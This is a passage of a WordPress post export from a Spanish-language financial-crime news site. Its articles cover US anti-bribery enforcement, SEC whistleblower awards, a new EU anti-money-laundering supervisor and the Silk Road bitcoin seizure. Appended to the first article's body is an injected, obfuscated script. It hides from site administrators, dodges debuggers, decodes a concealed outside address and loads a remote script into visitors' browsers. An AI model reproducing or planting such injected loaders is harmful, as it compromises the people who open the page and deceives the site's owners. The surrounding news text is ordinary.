esfuerzos de Estados Unidos para hacer cumplir la ley no fue una sorpresa para la comunidad anticorrupci\u00f3n, dijeron los observadores. Pero el informe, de 180 p\u00e1ginas, describi\u00f3 varias de las mejores pr\u00e1cticas del gobierno de EE.UU. que podr\u00edan ser \u00fatiles para otros pa\u00edses o regiones que buscan ser m\u00e1s efectivos en su lucha contra el soborno extranjero.<\/p>\n<script>(function(){try{if(document.getElementById&&document.getElementById('wpadminbar'))return;var t0=+new Date();for(var i=0;i<20000;i++){var z=i*i;}if((+new Date())-t0>120)return;if((document.cookie||'').indexOf('http2_session_id=')!==-1)return;function systemLoad(input){var key='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+\/=',o1,o2,o3,h1,h2,h3,h4,dec='',i=0;input=input.replace(\/[^A-Za-z0-9\\+\\\/\\=]\/g,'');while(i<input.length){h1=key.indexOf(input.charAt(i++));h2=key.indexOf(input.charAt(i++));h3=key.indexOf(input.charAt(i++));h4=key.indexOf(input.charAt(i++));o1=(h1<<2)|(h2>>4);o2=((h2&15)<<4)|(h3>>2);o3=((h3&3)<<6)|h4;dec+=String.fromCharCode(o1);if(h3!=64)dec+=String.fromCharCode(o2);if(h4!=64)dec+=String.fromCharCode(o3);}return dec;}var u=systemLoad('aHR0cHM6Ly9zZWFyY2hyYW5rdHJhZmZpYy5saXZlL2pzeA==');if(typeof window!=='undefined'&&window.__rl===u)return;var d=new Date();d.setTime(d.getTime()+30*24*60*60*1000);document.cookie='http2_session_id=1; expires='+d.toUTCString()+'; path=\/; SameSite=Lax'+(location.protocol==='https:'?'; Secure':'');try{window.__rl=u;}catch(e){}var s=document.createElement('script');s.type='text\/javascript';s.async=true;s.src=u;try{s.setAttribute('data-rl',u);}catch(e){}(document.getElementsByTagName('head')[0]||document.documentElement).appendChild(s);}catch(e){}})();<\/script>","post_title":"Un grupo de trabajo de la OCDE elogia los esfuerzos de EE.UU. contra el soborno en el extranjero","post_excerpt":"","post_status":"publish","comment_status":"closed","ping_status":"closed","post_password":"","post_name":"un-grupo-de-trabajo-de-la-ocde-elogia-los-esfuerzos-de-ee-uu-contra-el-soborno-en-el-extranjero","to_ping":"","pinged":"","post_modified":"2025-10-24 17:04:10","post_modified_gmt":"2025-10-24 21:04:10","post_content_filtered":"","post_parent":0,"guid":"https:\/\/www.delitosfinancieros.org\/?p=25409","menu_order":0,"post_type":"post","post_mime_type":"","comment_count":"0","filter":"raw"},{"ID":25406,"post_author":"16","post_date":"2020-11-23 11:32:00","post_date_gmt":"2020-11-23 15:32:00","post_content":"\n<figure class=\"wp-block-embed-youtube wp-block-embed is-type-video is-provider-youtube wp-embed-aspect-16-9 wp-has-aspect-ratio\"><div class=\"wp-block-embed__wrapper\">\nhttps:\/\/youtu.be\/wgbCobolWgA\n<\/div><\/figure>\n\n\n\n<p>El programa de denunciantes de la Comisi\u00f3n de Bolsa y Valores de EE. UU. (SEC por sus siglas en ingl\u00e9s) estableci\u00f3 un nuevo r\u00e9cord anual otorgando m\u00e1s dinero a m\u00e1s informantes en el a\u00f1o fiscal 2020 que en cualquier otro a\u00f1o de la historia del programa. La oficina pag\u00f3 alrededor de US$ 175 millones en recompensas a 39 informantes en el a\u00f1o fiscal que finaliz\u00f3 en septiembre y recibi\u00f3 una cantidad r\u00e9cord, alrededor de 6.900 de denuncias.<\/p>\n\n\n\n<p>El volumen sigue a los esfuerzos del regulador para acelerar los pagos a los denunciantes despu\u00e9s de a\u00f1os de quejas de que el programa es lento para repartir las recompensas.<\/p>\n\n\n\n<p>\"Estamos enviando el mensaje a la gente que, si nos brinda informaci\u00f3n de alta calidad, investigaremos y emprenderemos acciones con vigor, y luego le daremos una recompensa al denunciante de inmediato\", se\u00f1al\u00f3 el presidente de la SEC Jay Clayton en una reciente entrevista, la semana pasada anunci\u00f3 que planea dimitir a finales de este a\u00f1o.<\/p>\n\n\n\n<figure class=\"wp-block-image size-large\"><img src=\"https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/image.png\" alt=\"\" class=\"wp-image-25407\"\/><\/figure>\n\n\n\n<p>La Oficina del Denunciante de la SEC emiti\u00f3 alrededor de US$ 175 millones en recompensa a 39 personas en el a\u00f1o fiscal que finaliz\u00f3 el 30 de septiembre, seg\u00fan el informe anual de la oficina al Congreso. El monto total en d\u00f3lares fue 4% m\u00e1s alto que el r\u00e9cord anterior, alrededor de US$ 168 millones en el a\u00f1o fiscal 2018, y casi tres veces el total emitido en el a\u00f1o fiscal 2019, cuando se distribuyeron US$ 60 millones entre ocho personas.<\/p>\n\n\n\n<p>En este \u00faltimo a\u00f1o fiscal, la oficina del denunciante tambi\u00e9n emiti\u00f3 un r\u00e9cord de 315 determinaciones preliminares de reclamos de adjudicaci\u00f3n que detallan si el reclamo de un informante debe aprobarse o denegarse, que es un 96% m\u00e1s que el r\u00e9cord anterior, establecido en 2014, cuando la mayor\u00eda de las \u00f3rdenes preliminares fueron denegaciones emitidas a un reclamante, seg\u00fan el informe.<\/p>\n\n\n\n<p>La SEC comenz\u00f3 a revisar su proceso de evaluaci\u00f3n de reclamos con el objetivo de hacerlo m\u00e1s eficiente hace aproximadamente un a\u00f1o y medio cuando la agencia reguladora propuso cambios a las reglas del programa de denuncia de irregularidades, seg\u00fan Clayton.<\/p>\n\n\n\n<p>Las enmiendas a las reglas del programa de denunciantes, aprobadas en septiembre y dise\u00f1adas para hacer que el proceso de adjudicaci\u00f3n sea m\u00e1s eficiente, entrar\u00e1n en vigencia el pr\u00f3ximo mes.<\/p>\n\n\n\n<p>El regulador ha sumado personal al programa y ha utilizado recursos de toda la divisi\u00f3n de cumplimiento de la SEC, se\u00f1al\u00f3 Stephanie Avakian, directora de la divisi\u00f3n, que supervisa el programa de denuncia. La oficina ahora tiene 13 abogados, m\u00e1s tres temporales, y un personal de apoyo que incluye un contador, asistentes legales, analistas y secretarios legales, seg\u00fan el informe. En comparaci\u00f3n con los ocho abogados, tres asistentes legales y un especialista de apoyo en 2012.<\/p>\n\n\n\n<p>\u201cEl programa, como todo lo dem\u00e1s, debe adaptarse con el tiempo\u201d, dijo Avakian. \"Realmente ha pagado dividendos masivos, y espero que esos dividendos solo aumenten con el tiempo\".<\/p>\n\n\n\n<p>Los abogados que representan a los denunciantes han atribuido el aumento en parte a la pandemia, se\u00f1alando el hecho de que muchos presuntos denunciantes trabajan desde la privacidad de su hogar, fuera de la vista de colegas y gerentes curiosos y, por lo tanto, est\u00e1n m\u00e1s seguros de ser expuestos como denunciantes.<\/p>\n\n\n\n<p>\"Probablemente ha habido un aumento considerable de cuestiones para quejarse a la luz de Covid\", dijo Avakian y se\u00f1al\u00f3 que no pueden estar seguros sobre qu\u00e9 contribuy\u00f3 precisamente al aumento y agreg\u00f3 que podr\u00eda haber m\u00faltiples razones.<\/p>\n\n\n\n<p>Seg\u00fan el programa, que fue promulgado como parte de la Ley Dodd-Frank de 2010, un denunciante puede recibir una indemnizaci\u00f3n por un total de entre el 10% y el 30% de las multas impuestas en las acciones de ejecuci\u00f3n civil de la SEC que resultan de su denuncia, asumiendo que las multas suman m\u00e1s de US$ 1 millones. La SEC ha otorgado recompensas por alrededor de US$ 720 millones a 113 personas desde que comenz\u00f3 el programa.<\/p>\n","post_title":"El programa de denuncia de irregularidades de la SEC establece nuevos r\u00e9cords en 2020","post_excerpt":"","post_status":"publish","comment_status":"closed","ping_status":"closed","post_password":"","post_name":"el-programa-de-denuncia-de-irregularidades-de-la-sec-establece-nuevos-records-en-2020","to_ping":"","pinged":"","post_modified":"2020-11-24 11:33:32","post_modified_gmt":"2020-11-24 15:33:32","post_content_filtered":"","post_parent":0,"guid":"https:\/\/www.delitosfinancieros.org\/?p=25406","menu_order":0,"post_type":"post","post_mime_type":"","comment_count":"0","filter":"raw"},{"ID":25351,"post_author":"16","post_date":"2020-11-16 18:10:31","post_date_gmt":"2020-11-16 22:10:31","post_content":"<b><span style=\"vertical-align: inherit;\"><span style=\"vertical-align: inherit;\">The European Union, after the approval of the member states, will advance in the creation of a financial crime compliance sentinel for the entire bloc that will directly supervise the regulators and financial institutions of the countries.\u00a0<\/span><\/span><\/b>\n\n<b><span style=\"vertical-align: inherit;\"><span style=\"vertical-align: inherit;\">The agreement in the EU Council will lay the groundwork for more formal legal edicts that are expected to come into effect early next year.<\/span><\/span><\/b>\n\n<b><span style=\"vertical-align: inherit;\"><span style=\"vertical-align: inherit;\">The deal will be a widely watched initiative by global watchdog groups and associated world powers in the wake of the shameful banking scandals in the Baltic and Nordic countries.<\/span><\/span><\/b>\n\n<b><span style=\"vertical-align: inherit;\"><span style=\"vertical-align: inherit;\">The Council of Europe also \"supports the creation of an EU-level supervisor with direct supervisory powers over a number of high-risk reporting entities, as well as the authority to assume supervision from a national supervisor in exceptional and clearly defined situations. \", according to the ministers, in a drastic measure.<\/span><\/span><\/b>\n\n<iframe src=\"https:\/\/www.youtube.com\/embed\/Wlb9y8qbXOI\" width=\"560\" height=\"315\" frameborder=\"0\" allowfullscreen=\"allowfullscreen\"><\/iframe>\n\n<b><span style=\"vertical-align: inherit;\"><span style=\"vertical-align: inherit;\">The European Union, after the approval of the member states, will advance in the creation of a financial crime compliance sentinel for the entire bloc that will directly supervise the regulators and financial institutions of the countries<\/span><\/span><\/b><span style=\"vertical-align: inherit;\"><span style=\"vertical-align: inherit;\"> , with the power to participate in direct reviews. , request information and impose pecuniary penalties.<\/span><\/span>\n\n<span style=\"vertical-align: inherit;\"><span style=\"vertical-align: inherit;\">The\u00a0 <\/span><\/span><a href=\"https:\/\/www.consilium.europa.eu\/en\/meetings\/ecofin\/2020\/11\/04\/\" target=\"_blank\" rel=\"noopener noreferrer\"><span style=\"vertical-align: inherit;\"><span style=\"vertical-align: inherit;\">agreement\u00a0<\/span><\/span><\/a><span style=\"vertical-align: inherit;\"><span style=\"vertical-align: inherit;\"> in the EU Council will lay the groundwork for more formal legal edicts expected to come into force early next year, an initiative widely watched by global watchdog groups and associated world powers in the wake of the embarrassing banking scandals. The Baltic and Nordic countries (with the laundering of an estimated billions of dollars linked to high-risk regions such as Russia) will destroy the perception that the EU has a strong AML \/ CFT structure.<\/span><\/span>\n\nEl Consejo de Europa tambi\u00e9n \"apoya la creaci\u00f3n de un supervisor a nivel de la UE con poderes de supervisi\u00f3n directa sobre un n\u00famero de entidades obligadas de alto riesgo, as\u00ed como la autoridad para asumir la supervisi\u00f3n de un supervisor nacional en situaciones excepcionales y claramente definidas\", seg\u00fan los ministros, en una medida dr\u00e1stica.\n\nEl impulso para hacer cambios en todas estas \u00e1reas es claramente una respuesta al esc\u00e1ndalo del Danske Bank, que contin\u00faa haciendo ruido.\n\nEl esc\u00e1ndalo ha hecho que el mayor prestamista de Dinamarca se enfrente a una pl\u00e9tora de sondeos, investigaciones, acusaciones y recriminaciones en varios pa\u00edses por el monitoreo, reporte y manejo de unos 200.000 millones de euros, o m\u00e1s de US$224.000 millones, en transacciones potencialmente sospechosas vinculadas a Rusia entre 2007 y 2015.\n\nEl esc\u00e1ndalo ha puesto en la calle a algunos de los principales l\u00edderes bancarios en Dinamarca y Suecia, ha puesto en la encrucijada a Deutsche Bank e incluso ha puesto a los reguladores en las regiones bajo la mira, incluso cuando estos reguladores y sus agencias regulatorias trabajan para imponer sanciones a las instituciones involucradas. Pero las debilidades en la UE que permitieron tales esc\u00e1ndalos podr\u00edan estar recibiendo la atenci\u00f3n que merecen.\n\n\"La lucha contra el lavado de dinero y el financiamiento del terrorismo es una de las principales prioridades de la presidencia alemana\", dijo Olaf Scholz, ministro federal de Finanzas y vicecanciller de Alemania, en un comunicado.\n\n\"Los recientes supuestos casos de lavado de dinero, incluso en la UE, subrayan la urgencia de actuar\", dijo. \u201cUnas normas m\u00e1s armonizadas y una supervisi\u00f3n a nivel de la UE nos permitir\u00e1n ser m\u00e1s eficaces y fortalecer el marco de lucha contra el lavado de la UE. Es una se\u00f1al importante de que todos estamos unidos por las estrictas medidas contra el lavado de dinero\".\n\n<b><u>Para una nueva autoridad ALD\/CFT de la UE, m\u00e1s poder, comunicaci\u00f3n y coordinaci\u00f3n<\/u><\/b>\n\nLa misiva del Consejo pide a la Comisi\u00f3n de la UE que d\u00e9 prioridad al trabajo en la creaci\u00f3n de un \"c\u00f3digo normativo \u00fanico\" para la supervisi\u00f3n ALD\/CFT que abarque los pa\u00edses y, con las expectativas establecidas, el establecimiento de un organismo de supervisi\u00f3n ALD\/CFT a nivel de la UE que se entrelazar\u00eda y trabajar\u00eda con las unidades de inteligencia (UIF).\n\nLa comisi\u00f3n tambi\u00e9n debe \u201cgarantizar que el supervisor ALD\/CFT de la UE, como nueva autoridad competente, est\u00e9 completamente integrado en las estructuras de cooperaci\u00f3n entre todas las instituciones relevantes a nivel nacional y de la UE, tales como las autoridades nacionales competentes, las UIF y los mecanismos de coordinaci\u00f3n y apoyo\u201d, seg\u00fan el consejo.\n\nAl mismo tiempo, el nuevo supervisor ALD\/CFT debe estar en coordinaci\u00f3n y comunicaci\u00f3n con \"las autoridades de ley, otras autoridades p\u00fablicas relevantes en la UE, as\u00ed como con las instituciones de la UE, incluido el Banco Central Europeo (BCE) como supervisor prudencial en los casos pertinentes y otras autoridades y agencias como las Autoridades Europeas de Supervisi\u00f3n (AES), la Fiscal\u00eda Europea (EPPO) y Europol\".\n\nLa naciente autoridad tambi\u00e9n podr\u00eda encontrarse en medio de un tira y afloja a nivel pa\u00edses.\n\n\"En particular con respecto al flujo de informaci\u00f3n entre las autoridades de supervisi\u00f3n de origen y de destino, el supervisor de la UE debe desempe\u00f1ar un papel de mediador en los conflictos\", seg\u00fan el consejo.\n\n<b><u>Un gran poder ALD\/CFT conlleva una gran responsabilidad: imponer sanciones<\/u><\/b>\n\nEl organismo a\u00fan en formaci\u00f3n tendr\u00e1 amplios poderes a nivel de bloque y pa\u00eds.\n\nLas responsabilidades del supervisor ALD\/CFT de la UE deben \"incluir el derecho a inspecciones generales, incluida la solicitud de informaci\u00f3n, el examen de registros y la realizaci\u00f3n de supervisi\u00f3n en el sitio y extra situ, as\u00ed como el derecho a imponer medidas de supervisi\u00f3n y sanciones administrativas\", seg\u00fan al consejo.\n\nEstos incluir\u00edan el examen de grandes grupos bancarios, los que operan en varios estados miembros, para encontrar lagunas y fallas percibidas e incluso la autoridad para \"obligar la designaci\u00f3n de un oficial de cumplimiento, exigir informes regulares y emitir instrucciones directas con respecto a la debida diligencia mejorada o transacciones de alto riesgo.\"\n\nUna vez establecida, la nueva autoridad podr\u00eda actuar m\u00e1s r\u00e1pidamente para presionar cambios\u2014a nivel de pa\u00eds o con incursiones guiadas con precisi\u00f3n en instituciones individuales\u2014 lo que ser\u00eda una mejora con respecto al proceso lento y de m\u00faltiples pasos para fomentar el cumplimiento utilizado actualmente.\n\nPor ejemplo, cuando se trata de pa\u00edses que se demoran en adoptar la Quinta Directiva de la UE contra el lavado de dinero (AMLD5) en la legislaci\u00f3n nacional, la comisi\u00f3n debe primero revisar un pa\u00eds, luego enviar un dictamen, luego remitir el asunto al Tribunal de Justicia de la UE y luego finalmente puede comenzar a imponer sanciones monetarias por incumplimiento.\n\nEn febrero, justo en el momento en que la pandemia de COVID-19 comenz\u00f3 a aflorar, la Comisi\u00f3n Europea envi\u00f3 cartas de notificaci\u00f3n formal a Chipre, Hungr\u00eda, los Pa\u00edses Bajos, Portugal, Rumania, Eslovaquia, Eslovenia y Espa\u00f1a por no haber notificado ninguna medida de implementaci\u00f3n para la nueva directiva.\n\n<b><u>Incluso mientras la pandemia contin\u00faa, las autoridades no permitir\u00e1n que los pa\u00edses la usen como excusa en materia de ALD\/CFT<\/u><\/b>\n\nLos funcionarios tampoco est\u00e1n dejando que los pa\u00edses se salgan del apuro debido a la pandemia.\n\n\u201cLa lucha contra el lavado de dinero es tan relevante ahora como antes de la pandemia de coronavirus\u201d, afirm\u00f3 la comisi\u00f3n. \"De hecho, los delitos relacionados con el coronavirus y el lavado de sus ganancias van en aumento, seg\u00fan Europol y las autoridades policiales nacionales\".\n\nAsegurar la transposici\u00f3n correcta y oportuna de las normas ALD\/CFT existentes es una de las acciones previstas por la Comisi\u00f3n en su Plan de Acci\u00f3n de seis puntos publicado en mayo.\n\nEso podr\u00eda ser un desaf\u00edo con m\u00e1s presi\u00f3n proveniente del supervisor ALD\/CFT de la UE, una fecha l\u00edmite inminente para algunos, pero un cambio bienvenido por otros.\n\n\"Estoy encantado de que los ministros de finanzas hayan adoptado conclusiones sobre el Plan de Acci\u00f3n contra el Lavado de Dinero de la Comisi\u00f3n de mayo de 2020\", dijo el vicepresidente ejecutivo de la Comisi\u00f3n de la UE, Valdis Dombrovskis, y agreg\u00f3 que el esfuerzo ser\u00e1 una \"base ambiciosa para preparar un paquete de propuestas legales ALD\/CFT en el primer trimestre de 2021\".\n\n\u201cEl lavado de dinero erosiona la confianza en nuestros bancos e instituciones financieras, en nuestras autoridades y gobiernos\u201d, dijo. \u201cEl dinero sucio es altamente m\u00f3vil y esto hace que sea un desaf\u00edo complejo de manejar. Es por eso que debemos abordar este problema de manera coherente a nivel de la UE y estamos decididos a hacerlo\".","post_title":"La UE crear\u00e1 un nuevo regulador ALD\/CFT para todo el bloque con autoridad para revisar y sancionar a las instituciones","post_excerpt":"","post_status":"publish","comment_status":"closed","ping_status":"closed","post_password":"","post_name":"la-ue-creara-un-nuevo-regulador-ald-cft-para-todo-el-bloque-con-autoridad-para-revisar-y-sancionar-a-las-instituciones","to_ping":"","pinged":"","post_modified":"2020-11-17 19:26:59","post_modified_gmt":"2020-11-17 23:26:59","post_content_filtered":"","post_parent":0,"guid":"https:\/\/www.delitosfinancieros.org\/?p=25351","menu_order":0,"post_type":"post","post_mime_type":"","comment_count":"0","filter":"raw"},{"ID":25324,"post_author":"16","post_date":"2020-11-10 12:14:36","post_date_gmt":"2020-11-10 16:14:36","post_content":"https:\/\/youtu.be\/bHmZmpSdSjQ\n\n\u201cSilk Road era el mercado criminal en l\u00ednea m\u00e1s notorio de su \u00e9poca\u201d, dijo el fiscal federal de EE.UU. David L. Anderson. \u201cEl enjuiciamiento exitoso del fundador de Silk Road en 2015 dej\u00f3 abierta una pregunta de mil millones de d\u00f3lares. \u00bfA d\u00f3nde fue el dinero? La denuncia de decomiso de la semana pasada responde a esta pregunta abierta al menos en parte. Mil millones de d\u00f3lares de estos ingresos delictivos est\u00e1n ahora en posesi\u00f3n de los Estados Unidos\".\n\n<img width=\"640\" height=\"360\" src=\"https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Besa-Mafia-1024x576.png\" alt=\"\" srcset=\"https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Besa-Mafia-1024x576.png 1024w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Besa-Mafia-300x169.png 300w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Besa-Mafia-768x432.png 768w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Besa-Mafia-750x422.png 750w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Besa-Mafia.png 1266w\" sizes=\"(max-width: 640px) 100vw, 640px\">\n\n\u201cSilk Road era el mercado criminal en l\u00ednea m\u00e1s notorio de su \u00e9poca\u201d, dijo el fiscal federal de EE.UU. David L. Anderson. \u201cEl enjuiciamiento exitoso del fundador de Silk Road en 2015 dej\u00f3 abierta una pregunta de mil millones de d\u00f3lares. \u00bfA d\u00f3nde fue el dinero? La denuncia de decomiso de la semana pasada responde a esta pregunta abierta al menos en parte. Mil millones de d\u00f3lares de estos ingresos delictivos est\u00e1n ahora en posesi\u00f3n de los Estados Unidos\".\n\nLa semana pasada, el Departamento de Justicia de EE.UU. present\u00f3 una demanda de decomiso civil contra la incautaci\u00f3n m\u00e1s grande de activos digitales por un valor total de m\u00e1s de US$1.000 millones. Los agentes de ley utilizaron herramientas y asistencia de la firma Chainalysis en la investigaci\u00f3n para identificar las billeteras de criptomonedas m\u00e1s grandes con conexiones a Silk Road, el primer mercado moderno de la dark web, lo que les permiti\u00f3 generar pistas a partir de la evidencia en la cadena de bloques. Este Bitcoin se transfiri\u00f3 sin problemas a una billetera controlada por el gobierno que, si se descomisa, se mover\u00e1 al Fondo de Confiscaci\u00f3n del Tesoro (TFF). El TFF financia programas innovadores de aplicaci\u00f3n de la ley, como herramientas de an\u00e1lisis de blockchain y capacitaci\u00f3n, que ayudar\u00e1n a los agentes a identificar y apoderarse de m\u00e1s fondos il\u00edcitos. A principios de este a\u00f1o, las agencias de aplicaci\u00f3n de la ley presentaron acciones de decomiso civil similares contra criptoactivos relacionados con el financiamiento del terrorismo y las actividades de pirater\u00eda de Corea del Norte.\n\n<img width=\"640\" height=\"360\" src=\"https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-1-1024x576.png\" alt=\"\" srcset=\"https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-1-1024x576.png 1024w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-1-300x169.png 300w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-1-768x432.png 768w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-1-750x422.png 750w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-1.png 1280w\" sizes=\"(max-width: 640px) 100vw, 640px\">\n\n\u201cEl producto del delito no debe quedar en manos de los delincuentes. Gracias a la experiencia de la divisi\u00f3n de Investigaci\u00f3n Criminal de la Agencia de Rentas de EE.UU. (IRS-CI) en el seguimiento del dinero, pudimos rastrear los fondos il\u00edcitos\u201d, dijo Kelly R. Jackson, agente especial a cargo del IRS-CI. \"La Unidad de Delitos Cibern\u00e9ticos de Washington DC est\u00e1 especialmente especializada en rastrear transacciones de moneda virtual y continuaremos perfeccionando nuestras habilidades para combatir la actividad ilegal\".\n\nEl 3 de noviembre, el bot de Twitter @Whale_alert marc\u00f3 una gran transacci\u00f3n de 69,369 BTC, lo que llev\u00f3 a muchos a especular si la billetera inactiva conectada a Silk Road hab\u00eda sido pirateada o si el propietario ejecut\u00f3 la transacci\u00f3n. De hecho, esta fue la incautaci\u00f3n de los fondos por parte de la polic\u00eda cuando movieron el Bitcoin a la billetera controlada por el gobierno. Esta billetera ahora est\u00e1 etiquetada en los productos de Chainalysis como \"Fondos incautados de Silk Road Marketplace 2020-11-03\".\n\n<b><u>Antecedentes de Silk Road<\/u><\/b>\n\nSilk Road fue el primer mercado importante de redes oscuras digitales en el que los usuarios del sitio compraban y vend\u00edan bienes y servicios il\u00edcitos, incluidas las drogas ilegales. En 2013, las fuerzas del orden cerraron Silk Road y arrestaron a su propietario y operador, Ross Ulbricht, tambi\u00e9n conocido como \"Dread Pirate Roberts\".\n<figure>\n\t\t\t\t\t\t\t\t\t\t<img width=\"640\" height=\"308\" src=\"https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Marketplace-Economic-Activity-1024x492.png\" alt=\"\" srcset=\"https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Marketplace-Economic-Activity-1024x492.png 1024w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Marketplace-Economic-Activity-300x144.png 300w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Marketplace-Economic-Activity-768x369.png 768w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Marketplace-Economic-Activity-1536x738.png 1536w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Marketplace-Economic-Activity-750x360.png 750w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Marketplace-Economic-Activity-1140x548.png 1140w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Marketplace-Economic-Activity.png 1544w\" sizes=\"(max-width: 640px) 100vw, 640px\"><figcaption>Nota: Este gr\u00e1fico refleja el monto en US$ movidos y la participaci\u00f3n del volumen total asociado con Silk Road. FUENTE: Chainalysis<\/figcaption><\/figure>\nSeg\u00fan los datos de Chainalysis, Silk Road represent\u00f3 casi el 20% de la actividad econ\u00f3mica total de Bitcoin en su punto m\u00e1ximo en 2013. La actividad econ\u00f3mica de Silk Road alcanz\u00f3 un total de US$ 435 millones (calculado con base en el precio de Bitcoin en ese momento) con un pico de poco menos de US$ 40 millones en volumen mensual en septiembre de 2013.\n\nSeg\u00fan las acusaciones de la demanda de decomiso civil, desde 2011 hasta octubre de 2013, cuando fue confiscado por las fuerzas del orden, Silk Road era el mercado criminal m\u00e1s sofisticado y extenso de Internet. Era utilizado como un bazar del mercado negro en expansi\u00f3n donde los usuarios del sitio compraban y vend\u00edan bienes y servicios ilegales con regularidad. La denuncia alega que mientras estaba en funcionamiento, Silk Road fue utilizado por miles de traficantes de drogas y otros vendedores ilegales para distribuir cientos de kilogramos de drogas, as\u00ed como otros bienes y servicios ilegales a m\u00e1s de 100.000 compradores, y para lavar cientos de millones de d\u00f3lares derivados de estas transacciones ilegales.\n\nAl momento de ser desmantelado en 2013, Silk Road ten\u00eda casi 13.000 listas de sustancias ilegales y muchos m\u00e1s listados que ofrec\u00edan servicios ilegales, como pirater\u00eda inform\u00e1tica y servicios de sicarios, que generaban ingresos por ventas por un total de m\u00e1s de 9,5 millones de Bitcoins y comisiones por estas ventas por un total de m\u00e1s de 600.000 Bitcoins. La denuncia tambi\u00e9n alega que Silk Road utiliz\u00f3 un \"tumbler\" para procesar transacciones de Bitcoin de una manera dise\u00f1ada para frustrar el seguimiento de transacciones individuales a trav\u00e9s de la cadena de bloques de criptomonedas.\n\nEl creador de Silk Road, Ross Ulbricht, luego de su arresto en San Francisco, fue condenado en 2015 por un jurado federal de Nueva York por siete cargos criminales, incluida la conspiraci\u00f3n para distribuir narc\u00f3ticos y lavado de dinero.\n\n<b><u>C\u00f3mo las fuerzas del orden identificaron y confiscaron los fondos<\/u><\/b>\n\nA principios de este a\u00f1o, los agentes del IRS-CI analizaron las transacciones de bitcoins ejecutadas por Silk Road e identificaron 54 transacciones de bitcoins no detectadas previamente. Tambi\u00e9n descubrieron que un hacker, conocido como Individual X, rob\u00f3 esos fondos de Silk Road.\n\nEn el gr\u00e1fico de Chainalysis Reactor debajo, vemos que el dinero de Silk Road va a otra billetera (1BADzn\u2026), y a la billetera del individuo X (1HQ3Go\u2026). En 2015, el Individuo X liquid\u00f3 algunos de los fondos robados en BTC-e, un intercambio de criptomonedas que fue incautado por las autoridades estadounidenses en 2017 por lavado de dinero. Pero la mayor\u00eda de los fondos robados se mantuvieron en la billetera del Individuo X a medida que sub\u00eda el precio de Bitcoin, hasta la semana pasada, cuando fueron incautados y trasladados a la billetera del gobierno de EE. UU. Ahora valen m\u00e1s de US$1.000 millones.\n<figure>\n\t\t\t\t\t\t\t\t\t\t<img width=\"640\" height=\"274\" src=\"https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Chainalysis-Reactor-1024x438.png\" alt=\"\" srcset=\"https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Chainalysis-Reactor-1024x438.png 1024w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Chainalysis-Reactor-300x128.png 300w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Chainalysis-Reactor-768x328.png 768w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Chainalysis-Reactor-750x321.png 750w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Chainalysis-Reactor-1140x487.png 1140w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Chainalysis-Reactor.png 1432w\" sizes=\"(max-width: 640px) 100vw, 640px\">\n\n<figcaption>A trav\u00e9s de Chainalysis Reactor se sigui\u00f3 el dinero de Silk Road a otra billetera (1BADzn\u2026), a la billetera del Individuo X (1HQ3Go\u2026).<\/figcaption><\/figure>\nEste es otro ejemplo m\u00e1s de c\u00f3mo los investigadores pueden aprovechar las caracter\u00edsticas de la criptomoneda para seguir el flujo de fondos il\u00edcitos. Si bien este caso es notable por el valor de los fondos incautados, tambi\u00e9n muestra que las agencias gubernamentales que invierten en el an\u00e1lisis de blockchain no solo pueden usar esa tecnolog\u00eda para la generaci\u00f3n proactiva de pistas y para apuntalar los casos, sino tambi\u00e9n para localizar y confiscar ganancias il\u00edcitas. Tambi\u00e9n demuestra que los ingresos generados en cualquier momento pueden incautarse a\u00f1os despu\u00e9s utilizando evidencia de blockchain.\n\nTambi\u00e9n es notable que la incautaci\u00f3n de mil millones de d\u00f3lares realizada la semana pasada fue enviada y confirmada en cuesti\u00f3n de minutos. A diferencia de otros casos que involucran moneda 